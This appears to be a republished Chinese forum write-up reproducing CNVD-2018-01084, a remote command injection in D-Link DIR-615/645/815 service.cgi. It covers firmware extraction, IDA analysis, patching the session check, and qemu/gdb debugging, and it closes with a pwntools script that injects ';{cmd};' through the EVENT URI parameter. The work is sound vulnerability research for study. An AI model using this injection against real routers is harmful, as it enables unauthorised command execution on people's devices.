CNVD-2018-01084 漏洞复现报告(service.cgi 远程命令执行漏洞)
2022-5-22 17:59:51 Author: mp.weixin.qq.com(查看原文) 阅读量:5 收藏


本文为看雪论坛精华文章
看雪论坛作者ID:winmt

在CNVD平台上,关于CNVD-2018-01084的详细信息:D-Link DIR 615/645/815 service.cgi远程命令执行漏洞(https://www.cnvd.org.cn/flaw/show/CNVD-2018-01084

 
固件包下载地址:D-Link (Downloads)(https://tsd.dlink.com.tw/ddwn
 
笔者复现的环境是Ubuntu 20.04
 
阅读本文前,请先安装qemu / binwalk / sasquatch / gdb-multiarch等工具,并对mips架构下的汇编语法有一定的了解。

漏洞复现

根据官方公告,找到存在漏洞的二进制文件。

官方公告:
 
先用binwalk -Me DIR815A1_FW102b06.bin命令解压固件包,再根据“漏洞描述”中的关键词service.cgi进行查找:
 
 
找到了所匹配的二进制文件htdocs/cgibin,将其拖进IDA中先进行静态分析。

对二进制文件进行静态分析

首先进入main函数,很容易找到关键词service.cgi:
 
这里是和传入的第一个参数v3进行的判断:
 
然后,当传入的第一个参数是service.cgi,比对成功后,会进入servicecgi_main函数。
 
我们先对servicecgi_main这个函数整体的调用路线进行一个宏观的分析:
 
我们猜测漏洞点存在于这里的system函数处,它是由lxmldbc_system函数调用的:
 
在lxmldbc_system函数中,会先进行一个格式化字符串的拼接,再将拼接好的字符串作为system的参数调用,因此,这里的确可能存在一个可被利用的点:
 
接着,我们对servicecgi_main函数的流程进行一个分析:
 
(1)先获取环境变量REQUEST_METHOD进行判断
 
当请求方式为GET的时候,会跳到标签10,而这个标签10在调用lxmldbc_system函数的下面:
 
 
所以,为了利用到lxmldbc_system中的漏洞,我们的请求方式只能为POST。
 
(2)分析cgibin_parse_request函数
 
然后,会调用到cgibin_parse_request函数,这个函数会先调取环境变量REQUEST_URI,并对其先以?进行字符串分割:
 
再进到sub_402B40函数中,发现这里会再以=进行一次字符串分割,对=后的内容再以&进行分割:
 
这其实就是对一个URL字符串的解析过程,分割后的字符串,都会被存放进内存中,具体存放在哪里,不太好直接通过静态分析看出。
 
之后,在cgibin_parse_request函数中,对CONTENT_TYPE这个环境变量进行了一个判断:
 
这里先对环境变量CONTENT_TYPE中的内容的前v17位与v18进行一个比对,比对正确后就会调用一个未知的函数,这里的v18其实是off_42C014中的内容,而v17就是其后四个字节的内容:
 
也就是说,我们CONTENT_TYPE的前12位得是application/才能过这个判断。
 
之后调用到的那个未知的函数也不方便直接通过静态分析看出,在之后动态调试的时候可以很清楚地看到,不过,这里需要注意一下传入这个未知函数的第三个参数v7,其实就是CONTENT_LENGTH这个环境变量:
 
这个函数大体就分析到这里了,更具体的,在之后动态分析的时候会写到。
在servicecgi_main主函数中可以看到,若cgibin_parse_request函数的返回值是负数的话,会报错。
 
笔者注:
 
之前复现的时候是直接看汇编的,感觉上面说的未知函数不好看出来(我太菜了),其实我们看反编译后的代码,直接静态分析就很容易得出来:如果CONTENT_TYPE的前12位是application/,那么此时v16=1,所以(&off_42C014)[3 * v16 - 1] = (&off_42C014)[2],也就是下图圈出的数据,即跳转到了0x403B10处。
 
(3)分析sess_ispoweruser函数
 
在之后,会需要绕过sess_ispoweruser函数,不然无法通过认证:
这个函数会调用到sess_validate函数,其中会再调用到sess_get_uid函数,在里面有对HTTP_COOKIE和REMOTE_ADDR这两个环境变量的获取,这里就不作具体分析了。
 
接着,在sess_validate函数中会继续调用到sub_407660这个函数,其中会打开/var/session/...的文件:
 
这个文件显然我们用qemu模拟的环境中是没有的,因此我们需要将sess_ispoweruser这个函数的相关判断给patch掉(直接将跳转命令改成nop空指令),不然就不便于进行后续利用了(会在这里卡住):
 
修改:
 
 
 
完成:
 
保存:
 
这样就直接跳过sess_ispoweruser函数的认证检验了,将patch过的二进制文件替换htdocs目录下原有的文件即可。
 
(4)一些静态分析看不出来的操作
 
再然后,会调用sub_40A1C0函数进行一些判断:
 
显然,判断的结果若是满足v6!=0是最好的,因为这里if分支其实大体上都是对v9格式化字符串进行赋值,而v6!=0分支中的内容最简单,下面else分支中的内容会很复杂,当经过这个判断之后,有了v9这个格式化字符串作为参数,就可以直接走到lxmldbc_system函数进行漏洞利用了。
 
不过,这里sub_40A1C0函数中具体判断的内容不太好直接通过静态分析看出:
 
这里的a1就是传进去的EVENT / ACTION / SERVICE这些参数,但是后面的v3[2]应该是用户可控的一个字符串,但是并不知道指向内存的何处。
 
同样地,lxmldbc_system函数中,vsnprintf函数的参数va(也就是拼接到前面format格式化字符串中的内容)不知道指向内存的何处,va_start函数同样不知道指向哪里:
 
这些都不好通过静态分析直接得出,但是可以猜测都是用户可控的,再联想到之前的REQUEST_URI环境变量分割出的字符串被存放在了内存中,我们也并不知道具体的存放位置,因此,可以猜测这里取的内存就是在之前存放的,为了验证这一观点,我们需要进行动态分析来调试。

对二进制文件进行动态分析(调试)

先checksec检查一下二进制文件:
 
这是一个mips架构下32位的小端序程序,得用qemu-mipsel启动,没开任何保护。
 
首先,我们需要知道如何向main函数传递参数argv和设置环境变量:
 
 
我们可以用-0选项传递第一个参数,用-E选项设置环境变量,用-L选项做到类似于更改根目录的效果,用-strace选项追踪程序执行时进程系统调用和所接收的信号,方便调试。
 
我们按顺序,先来调试一下CONTENT_TYPE环境变量中application/后应该设置成什么,也就需要知道这里进入的未知函数是什么:
if ( !strncasecmp(v14, v18, v17) )              return ((int (__fastcall *)(int, int, unsigned int, char *))(&off_42C014)[3 * v16 - 1])(                       a1,                       a2,                       v7,                       &v14[v17]);

看到对应的汇编:
 
最后的跳转命令在0x40346C处,因此,我们在这里下一个断点。
 
先用下面的命令启动qemu用户模式:
qemu-mipsel -g 1234 -L . \    -0 "service.cgi" \    -E REQUEST_METHOD="POST" \    -E REQUEST_URI="..." \    -E CONTENT_LENGTH=10 \    -E CONTENT_TYPE="application/winmt" \    ./htdocs/cgibin

再用gdb-multiarch设置架构并连接上1234端口,最后停在了断点处:
 
 
可以很清晰地看到,那个我们静态分析不好看出来的未知函数就是0x403b10。
 
在IDA里找到0x403b10的位置,并创建函数,方便反编译:
 
 
可见,CONTENT_TYPE环境变量的后面应该是x-www-form-urlencoded,匹配成功后,就会进入sub_402FFC函数,在其中会有一个read函数,需要我们读入数据:
 
这里的v7也就是a3,是我们在cgibin_parse_request函数中传入的环境变量CONTENT_LENGTH,根据之前的分析,我们需要这个函数的返回值v4大于零,只要读入合法的数据即可。
 
这一部分就分析到这,接下来再验证之前的猜想:sub_40A1C0函数中所取的内存是否为之前REQUEST_URI环境变量所分割出的字符串?
 
我们已经知道了REQUEST_URI大体的分割模式,因此可以设REQUEST_URI="aaa?bbb=ccc"的形式,启动命令如下:
qemu-mipsel -g 1234 -L . \    -0 "service.cgi" \    -E REQUEST_METHOD="POST" \    -E REQUEST_URI="aaa?bbb=ccc" \    -E CONTENT_LENGTH=10 \    -E CONTENT_TYPE="application/x-www-form-urlencoded" \    ./htdocs/cgibin

在sub_40A1C0中strcmp的地方对应的汇编处(0x40A200)下一个断点:
 
在之前随便输入十个字符,最后停止了断点处:
 
由此可知,strcmp的第二个参数就是环境变量REQUEST_URI中?与=之间的字符串。
 
用同样的方法,可以得到:lxmldbc_system中拼接入格式化字符串的va参数就是环境变量REQUEST_URI中=之后的字符串。
 
至此,我们完成了对/htdocs/cgibin这个二进制文件中的漏洞分析,显然,我们将;{cmd};拼接进格式化字符串,由于;可连接两个独立语句并执行,这样就能执行我们的cmd命令了。

利用脚本(exp)

from pwn import *context(os = 'linux', arch = 'mips') string = "winmt"length = len(string) print("----- CNVD-2018-01084 -----\n")cmd = input("command > ") io = process(f'''    qemu-mipsel -L . -strace \    -0 "service.cgi" \    -E REQUEST_METHOD="POST" \    -E CONTENT_LENGTH={length} \    -E REQUEST_URI="?EVENT=;{cmd};" \    -E CONTENT_TYPE="application/x-www-form-urlencoded" \    -E HTTP_COOKIE="uid=winmt" \    -E REMOTE_ADDR="127.0.0.1" \    ./htdocs/cgibin''', shell = True) io.send(string)io.interactive()


复现成功

看雪ID:winmt

https://bbs.pediy.com/user-home-949925.htm

*本文由看雪论坛 winmt 原创,转载请注明来自看雪社区

# 往期推荐

1.从零开始复现 DIR-815 栈溢出漏洞

2.Windows API调用详解

3.多项式MBA原理及其在代码混淆中的应用

4.逆向角度看C++部分特性

5.CVE-2014-4113提权漏洞学习笔记

6.Go语言模糊测试工具:Go-Fuzz

球分享

球点赞

球在看

点击“阅读原文”,了解更多!


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458446970&idx=1&sn=fe5fd9a5dd5b284114eec6b391c0ac1a&chksm=b18fdcf086f855e6357dc286aabe7a97b9cb48214018c7f316f59e2a95c2ce982efe6167c773#rd
如有侵权请联系:admin#unsafe.sh